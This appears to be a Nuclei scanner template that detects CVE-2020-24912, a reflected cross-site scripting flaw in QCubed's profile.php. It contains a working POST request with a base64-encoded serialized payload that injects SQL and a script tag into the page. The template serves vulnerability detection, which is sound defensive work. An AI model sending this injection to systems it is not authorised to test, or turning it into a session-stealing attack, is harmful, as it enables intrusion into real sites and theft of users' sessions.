QCube Cross-Site-Scripting

id: CVE-2020-24912

info:
  name: QCube Cross-Site-Scripting
  author: pikpikcu
  severity: medium
  description: A reflected cross-site scripting vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-03
    - https://github.com/qcubed/qcubed/pull/1320/files
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24912
    - http://seclists.org/fulldisclosure/2021/Mar/30
    - http://qcubed.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24912
    cwe-id: CWE-79
    epss-score: 0.00346
    epss-percentile: 0.7108
    cpe: cpe:2.3:a:qcubed:qcubed:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: qcubed
    product: qcubed
  tags: cve2020,cve,qcubed,xss,seclists

http:
  - method: POST
    path:
      - "{{BaseURL}}/assets/_core/php/profile.php"
      - "{{BaseURL}}/assets/php/profile.php"
      - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php"

    body: "intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K="

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('xss')</script>"

      - type: word
        part: header
        words:
          - 'Content-Type: text/html'
# digest: 4a0a00473045022100a91523e9be74d0fdb90d90a1c3d215030746d376affcf30c8322918bde098fce0220595f4f0288fb85dad8ad6bc73fc2da9fb28c78ed25c2efe66c9d8fdafef1f1a0:922c64590222798bb761d5b6d8e72950